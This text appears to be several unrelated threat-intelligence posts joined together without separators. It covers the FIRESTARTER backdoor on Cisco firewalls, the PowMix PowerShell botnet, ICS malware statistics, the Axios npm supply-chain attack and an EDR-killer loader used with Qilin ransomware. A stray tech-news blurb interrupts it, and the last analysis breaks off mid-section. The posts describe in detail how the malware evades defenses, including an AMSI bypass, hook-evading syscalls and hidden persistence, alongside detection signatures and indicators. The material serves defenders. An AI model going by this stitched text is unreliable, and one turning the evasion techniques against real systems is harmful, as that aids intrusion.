Cisco Talos is aware of UAT-4356's continued active targeting of Cisco Firepower devices’ Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.” FIRESTARTER considerably overlaps with the technical capabilities of RayInitiator’s Stage 3 shellcode that processes incoming XML-based payloads to endpoint APIs.

In early 2024, Cisco Talos attributed ArcaneDoor, a state-sponsored campaign focused on gaining access to network perimeter devices for espionage, to UAT-4356.

Customers are advised to refer to Cisco’s Security Advisory for mitigation and detection guidance, indicators of compromise (IOCs), affected products, and applicable software upgrade recommendations.

---

The FIRESTARTER backdoor

FIRESTARTER is a malicious backdoor implanted by UAT-4356 that allows remote access and control to execute arbitrary code inside the LINA process, a core component of Cisco’s ASA and FTD appliances running FXOS.

Persistence

UAT-4356 established persistence for FIRESTARTER on compromised devices by manipulating the mount list for Cisco Service Platform (CSP), namely “CSP_MOUNT_LIST”, to execute FIRESTARTER. The mount list allows programs and commands to be executed as part of the device’s boot sequence. The persistence mechanism triggers during graceful reboot (i.e., when a process termination signal is received). FIRESTARTER also checks the runlevel for value 6 (indicating device reboot) and in case of a match, writes itself to backup location “/opt/cisco/platform/logs/var/log/svc_samcore.log" and updates the CSP_MOUNT_LIST to copy itself back to “/usr/bin/lina_cs” and then be executed. When FIRESTARTER runs after a reboot, it restores the original CSP_MOUNT_LIST and removes the trojanized copy. Because the runlevel triggers establishment of this transient persistence mechanism, a hard reboot (for example, after the device has been unplugged from power) effectively removes the implant from the device.

FIRESTARTER has used the following commands to establish persistence for itself using the transient persistence mechanism:

When the implant injects itself into the LINA process, it removes the traces of its persistence mechanism by restoring the CSP_MOUNT_LIST from a temporary copy (“CSP_MOUNTLIST.tmp”), then removing the temporary copy and the FIRESTARTER file from disk (“/usr/bin/lina_cs”).

FIRESTARTER’s backdoor capabilities

FIRESTARTER can run arbitrary shellcode received by the device. A pre-defined handler function specified by a hardcoded offset in the LINA process’ memory is replaced by an unauthorized handler routine that parses the data being served to it. FIRESTARTER specifically looks for a WebVPN request XML. If the request data received matches a specific pattern of custom-defined prefixing then the shellcode that immediately follows it is executed in memory. If the prefixing bytes are not found, then the data is treated as regular request data and passed to the original handler function (if any).

FIRESTARTER’s loading mechanism, Stage 2 shellcode (i.e., the actual request handler component), handler function replacement, XML parsing for magic bytes, and final payload execution display considerable overlaps with RayInitiator’s Stage 3 deployment actions and accompanying artifacts.

Injecting and activating the malicious shellcode in LINA

FIRESTARTER first reads the LINA process’ memory to search for and verify the presence of the bytes (long) 0x1, 0x2, 0x3, 0x4, 0x5 at specific locations in memory. If found, FIRESTARTER will then query the process’ memory to find an “r-xp” memory range for the shared library “libstdc++.so”. It then copies the next stage shellcode (Stage 2) to the last 0x200 bytes of the memory region. FIRESTARTER then overwrites an internal data structure in the LINA process’ memory to replace a pointer to a WebVPN-specific, legitimate XML handler function with the address of the malicious Stage 2 shellcode.

The malicious shellcode is triggered as part of the authentication API’s request handling process and parses the incoming request data for magic markers signifying an executable payload. If found, the executable payload is then executed on the compromised device.

---

Detection guidance

The presence of the following artifacts - specifically the filenames “lina_cs” and “svc_samcore.log” - though somewhat brittle indicators, may indicate the presence of the FIRESTARTER on a Firepower device:

• Any output from the commands:
  • show kernel process | include lina_cs
• The presence of the following files on disk:
  • /usr/bin/lina_cs
  • /opt/cisco/platform/logs/var/log/svc_samcore.log

For more comprehensive detection guidance, please refer to Cisco’s Security Advisory here. Please also refer to CISA’s update to V1: Emergency Directive (ED) 25-03: Identify and Mitigate Potential Compromise of Cisco Devices and FIRESTARTER Backdoor Malware Analysis Report for more information and guidance.

 

Mitigation and coverage

We recommend that Cisco customers follow the steps recommended in Cisco's advisory, with particular attention to any applicable software upgrade recommendations. Organizations impacted can initiate a TAC request for Cisco support.

A FIRESTARTER infection may be mitigated on all affected devices by reimaging the devices.

On Cisco FTD software that is not in lockdown mode, there is also the option of killing the lina_cs process then reloading the device:

> expert
$ sudo kill -9 $(pidof lina_cs)
$ exit
> reboot

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort rules cover the vulnerabilities CVE-2025-20333 and CVE-2025-20362: 65340, 46897.

Snort rules covering FIRESTARTER: 62949

The following ClamAV signatures detect this threat: Unix.Malware.Generic-10059965-0

Microsoft says Windows 11’s built-in security is strong enough for most users, though power users and enterprises may still want third-party protection.

The post Microsoft: Most Windows 11 Users Don’t Need Third-Party Antivirus appeared first on TechRepublic.

• Cisco Talos discovered an ongoing malicious campaign, operating since at least December 2025, affecting a broader workforce in the Czech Republic with a previously undocumented botnet we call “PowMix.” 
• PowMix employs randomized command-and-control (C2) beaconing intervals, rather than persistent connection to the C2 server, to evade the network signature detections. 
• PowMix embeds the encrypted heartbeat data along with unique identifiers of the victim machine into the C2 URL paths, mimicking legitimate REST API URLs. 
• PowMix has the capability to remotely update the new C2 domain to the botnet configuration file dynamically. 
• Talos observed a few tactical similarities of the current campaign with the ZipLine campaign, including the payload delivery mechanism and the misuse of the legitimate cloud platform Heroku for C2 operations.

---

Victimology  

Talos observed that an attacker targeted Czech organizations across various levels, based on the contents of the lure documents used by the attacker in the current campaign.

Impersonating the legitimate EDEKA brand and authentic regulatory frameworks such as the Czech Data Protection Act, the attacker deploys decoy documents with compliance-themed lures, potentially aimed at compromising victims from human resources (HR), legal, and recruitment agencies. In the lure documents, the attacker also used compensation data, as well as the legitimate legislative references, to enhance the authenticity of these decoy documents and to entice the job aspirants across diverse sectors like IT, finance, and logistics. 

TTPs overlaps with the ZipLine campaign  

Talos observed a few tactical similarities employed in the current campaign with that of the ZipLine campaign, reported by researchers from Check Point in August 2025.

In the current campaign, the PowMix botnet payload is delivered via an LNK triggered PowerShell loader that extracts it from a ZIP archive data blob, bypasses AMSI, and executes the decrypted script directly in memory. This campaign shares tactical overlaps with the older ZipLine campaign (which deployed the MixShell malware), including identical ZIP-based payload concealment, Windows-scheduled task persistence, CRC32-based BOT ID generation, and the abuse of “herokuapp.com” for command-and-control (C2) infrastructure. Although there are overlaps in the tactics, the attacker’s final payload was unobserved, and the intent remains unknown in this campaign.

Attack summary  

The attack begins when a victim runs the Windows shortcut file contained within the received malicious ZIP file, potentially through a phishing email. This shortcut file triggers the execution of an embedded PowerShell loader script, which initially creates a copy of the ZIP file along with its contents in the victim's “ProgramData” folder. Subsequently, it loads the malicious ZIP file, extracts, and executes the embedded PowMix botnet payload directly in the victim's machine memory and starts to communicate with the botnet C2. 

PowerShell loader executes PowMix in memory  

The first stage PowerShell script functions as a loader, and its execution routine is designed to bypass security controls and deliver a secondary payload. It begins by defining several obfuscated variables, including file name of the malicious ZIP file that was likely received via a phishing email. Then, the script dynamically constructs paths to the folders such as “ProgramData” and the user’s “Downloads” folder to locate this ZIP file. Once the ZIP file is found, it extracts the contents to the “ProgramData”folder, effectively staging the environment for the next phase of the attack.

To evade detection, the script employs an AMSI (Antimalware Scan Interface) bypass technique. It uses a reflection technique to browse the loaded assemblies in the current process, specifically searching for the AmsiUtils class. Once located, it identifies the amsiInitFailed field and manually sets its value to true. This action deceives the Windows security subsystem into thinking that AMSI has not initialized, which disables real-time scanning of subsequent commands, enabling the script to run malicious code in memory without being detected by Windows Defender or other endpoint detection and response (EDR) solutions. 

The script parses the malicious ZIP file to locate a specific marker that is hardcoded, such as zAswKoK. This marker is treated as a delimiter, enabling the extraction of a hidden, encoded command that is embedded within the ZIP file data blob.  

Throughout this process, the script performs a series of string replacements, which include the removal of # symbols and the mapping of placeholders, such as {cdm}, to their corresponding specific file paths, reconstructing a functional secondary PowerShell script payload. Then it executes the secondary payload script in the victim machine memory using the Invoke-Expression (IEX) PowerShell command.  

PowMix botnet 

Talos discovered that the secondary payload PowerShell script, which we call “PowMix,” is a previously unreported botnet designed for remote access, reconnaissance, and remote code execution. 

The main execution of the script begins with an environment check to ensure it is running within a specific loader context at the placeholder {cdm}, which is the path of the Windows shortcut in the ProgramData folder, before immediately attempting to conceal its presence. It invokes a function that utilizes the Win32ShowWindowAsync function of “user32.dll” to hide the current PowerShell console window.  

Then it decrypts the C2 domain and a configuration file using a custom XOR-based routine with a hardcoded key. It retrieves the machine's product ID by querying the HKLM: SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key for the Windows ProductID. PowMix processes the victim machine’s ProductID and the decrypted configuration data through a CRC32-style checksum function to generate a unique Bot ID and a corresponding Windows schedule task name, which it subsequently uses to establish persistence. 

Some of the hardcoded XOR key strings found in this campaign are: 

• HpSWSb  
• qDQyxQE  
• bKUxmhyAe 
• HymzqLse 
• KsEYwmgSF 
• ujCPOEPU 

Instead of using obvious task names, PowMix names the scheduled task by concatenating the Bot ID and Configuration file hash, resulting in names that appear as random hexadecimal strings (such as "289c2e236761”). The task configuration specifies a daily trigger set to execute at 11:00 a.m., and the execution action is configured to launch the benign Windows Explorer binary with the malicious Windows Shortcut file path as an argument. Windows Explorer's file association handling then automatically launches the malicious shortcut file to execute the PowerShell loader script.  

Before attempting to establish persistence, PowMix performs several validation checks to ensure that another instance of the botnet is not running in the infected machine. It examines the process tree using Common Information Model (CIM) queries to identify its parent processes. If the PowMix is not running under either “svchost.exe” or “powershell.exe”, and if certain environmental variables are not set, it attempts to restart itself in the privileged context. 

The mutex implementation in the botnet prevents multiple instances from running at the same time. It creates a mutex with the name “Global\[BotID]”.  The “Global” prefix makes the mutex visible across all user sessions, stopping separate instances from running in different user sessions. 

PowMix avoids persistent connections to the C2 server. Instead, it implements a jitter via Get-Random PowerShell command to vary the beaconing intervals initially between 0 and 261 seconds, and subsequently between 1,075 and 1,450 seconds. This technique attempts to prevent detection of C2 traffic through predictable network signatures. 

Each request from PowMix  to C2 is created by concatenating the base C2 domain with the Bot ID, configuration file hash, an encrypted heartbeat, a hexadecimal Unix timestamp, and a random hexadecimal suffix. The standard heartbeat string “[]0” is encrypted using a custom XOR routine using the Bot ID as the key and is then converted to a hex string. The inclusion of a random length hexadecimal suffix further ensures that every URL is unique. 

The attacker mimics the REST API calls URLs by embedding these data directly into the URL path, instead of using a URL query string or a POST request for communicating with the C2 server. 

PowMix establishes a Chrome User-Agent and configures the Accept-Language (en-US) and Accept-Encoding (gzip, deflate, br) headers. It utilizes the GetSystemWebProxy API along with DefaultCredentials to dynamically adopt the host machine’s network proxy settings and automatically authenticates using the logged-in user's active session tokens, thereby disguising the C2 traffic as legitimate web browser traffic within the victim’s environment. 

The PowMix command processing logic is executed upon receiving the response from the C2 with a period delimiter. It extracts the second segment and decrypts it using the unique Bot ID as the XOR key. The resulting decrypted response is then evaluated through a conditional parser that distinguishes between the command operations hardcoded in the botnet and arbitrary code execution, allowing the attacker to remotely control the victim machine.  

The remote management commands that the botnet receives from the C2 are identified by a leading hash symbol (#). We found that the PowMix botnet facilitates the commands described below: 

• #KILL - The KILL command initiates a self-deletion routine, utilizing the Unregister-ScheduledTask PowerShell command with the parameter Confirm: $false to silently remove persistence, followed by Remove-Item -Recurse–Force command to wipe the malware’s directory in the victim machine.  
• #HOST - The HOST command enables the C2 infrastructure migration by remotely updating a new C2 URL to a configuration file. By receiving the HOST command, PowMix will encrypt the new domain that it receives using the hardcoded XOR key and save it to a local configuration file via Set-Content PowerShell command. During the next initialization of the botnet through the task scheduler execution, it prioritizes the local configuration file data with the encrypted new C2 domain over hardcoded defaults, providing a robust mechanism for evading domain blacklisting. 
• For non #-prefixed responses from the C2, the command processing routine of PowMix transitions into an arbitrary execution mode. It bypasses static detection of the Invoke-Expression (IEX) PowerShell command by dynamically reconstructing the command string from the $VerbosePreference variable and executes the decrypted payload while redirecting the output to Out-Null, ensuring erasing the execution traces.  

Coverage

The following ClamAV signature detects and blocks this threat: 

• Lnk.Trojan.PowMix-10059735-0 
• Txt.Trojan.PowMix-10059742-0 
• Txt.Trojan.PowMix-10059778-0 
• Win.Trojan.PowMix-10059728-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort2 and Snort3: 66118 

Indicators of compromise (IOCs) 

The IOCs for this threat are also available at our GitHub repository here. 

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.

Cisco Talos is actively investigating the March 31, 2026 supply chain attack on the official Axios node package manager (npm) package during which two malicious versions (v1.14.1 and v0.30.4) were deployed. Axios is one of the more popular JavaScript libraries with as many as 100 million downloads per week.

Axios is a widely-deployed HTTP client library for JavaScript that simplifies HTTP requests, specifically for REST endpoints. The malicious packages were only available for approximately three hours, but if downloaded Talos strongly encourages that all deployments should be rolled back to previous known safe versions (v1.14.0 or v0.30.3). Additionally, Talos strongly recommends users and administrators investigate any systems that downloaded the malicious package for follow-on payloads from actor-controlled infrastructure.

Details of supply chain attack

The primary modification of the packages introduced a fake runtime dependency (plain-crypto-js) that executes via post-install without any user interaction required. Upon execution, the dependency reaches out to actor-controlled infrastructure (142[.]11[.]206[.]73) with operating system information to deliver a platform-specific payload to Linux, MacOS, or Windows.

On MacOS, a binary, “com.apple.act.mond”, is downloaded and run using zsh. Windows is delivered a ps1 file, which copies the legitimate powershell executable to “%PROGRAM DATA%\wt.exe”, and executes the downloaded ps1 file with hidden and execution policy bypass flags. On Linux, a Python backdoor is downloaded and executed. The payload is a remote access trojan (RAT) with typical associated capabilities allowing the actor to gather information and run additional payloads.

Impact

As with most supply chain attacks, the full impact will likely take some time to uncover. The threat actors exfiltrated credentials along with remote management capabilities. Therefore, Talos strongly recommends organizations treat any credentials present on their systems with the malicious package as compromised and begin the process of rotating them as quickly as possible. Actors are likely to try to weaponize access as quickly as possible to maximize financial gain.

Supply chain attacks tend to have unexpected downstream impacts, as these packages are widely used across a variety of applications, and the compromised credentials can be leveraged in follow-on attacks. For additional context, about 25% of the top 100 vulnerabilities in the Cisco Talos 2025 Year in Review affect widely used frameworks and libraries, highlighting the risk of supply chain-style attacks.

Talos will continue to monitor any follow-on impacts from this supply chain attack in the days and weeks ahead, as well as any additional indicators that are uncovered as a result of our ongoing investigation.

Coverage

The following ClamAV signature detects and blocks this threat:

• Py.Trojan.Agent-10059931-0
• Ps1.Trojan.Agent-10059932-0

The following SNORT® rules cover this threat:  

• SIDS: 1:66219, 1:66218

Indicators of Compromise (IoCs)

IP Address:
142[.]11[.]206[.]73

Domains:
Sfrclak[.]com

SHA256
e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 (setup[.]js)
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf (Linux)
617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 (Windows)
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a (MacOS)
ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c (6202033.ps1)

• Endpoint detection and response (EDR) tools are widely deployed and far more capable than traditional antivirus. As a result, attackers use EDR killers to disable or bypass them.
• Disabling telemetry collection (process, memory, network activity) limits what defenders can see and analyze.
• As defenders improve behavioral detection, attackers increasingly target the defense layer itself as part of their initial access or early execution stages.
• This blog provides an in-depth analysis of the malicious “msimg32.dll” used in Qilin ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can terminate over 300 different EDR drivers from almost every vendor in the market.
• We present multiple techniques used by the malware to evade and ultimately disable EDR solutions, including SEH/VEH-based obfuscation, kernel object manipulation, and various API and system call bypass methods.

---

This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.

This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.

The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.

The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.

Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.

Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).

PE loader section (“msimg32.dll”)

The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:\Windows\System32”.

The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.

Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.

Initialization phase

During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.

The size of this buffer is computed as "ntdll.dll" OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.

The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with "Nt", the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA - BaseOfCode)/16

This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:

• NtTraceEvent
• NtTraceControl
• NtAlpcSendWaitReceivePort

The result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:

The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.

After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.

Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.

Runtime exception handling

This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.

The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.

The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.

Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.

The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.

The simplified logic is as follows:

• Indirectly determine the target syscall number by scanning forward and backward.
• Locate a clean neighbouring stub.
• Manually load the correct syscall ID into eax.
• Transition directly to kernel mode using the syscall instruction (i.e., a syscall instruction located inside a clean neighboring stub).

By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.

As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).

The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:

• Finds the .mrdata section in the “ntdll.dll” image
• Checks whether the current dispatcher slot pointer (dispatch_slot) lies inside .mrdata
• If it does, it uses a known exported ntdll function (RtlDeleteFunctionTable, located via hash) as an anchor
• From that anchor, it scans for a CALL rel32 instruction (0xE8) and extracts its target address
• That call target is the address of LdrProtectMrdata and stored in ctx->LdrProtectMrdata

The initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.

The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.

After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).

After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.

Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.

Stage 2

Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.

The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);

This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).

As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.

Stage 3

Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.

After several decoding and preparation steps, the PE image is decompressed from memory.

After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.

The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.

After copying the embedded and decoded PE image into memory, the code manually applies base relocations.

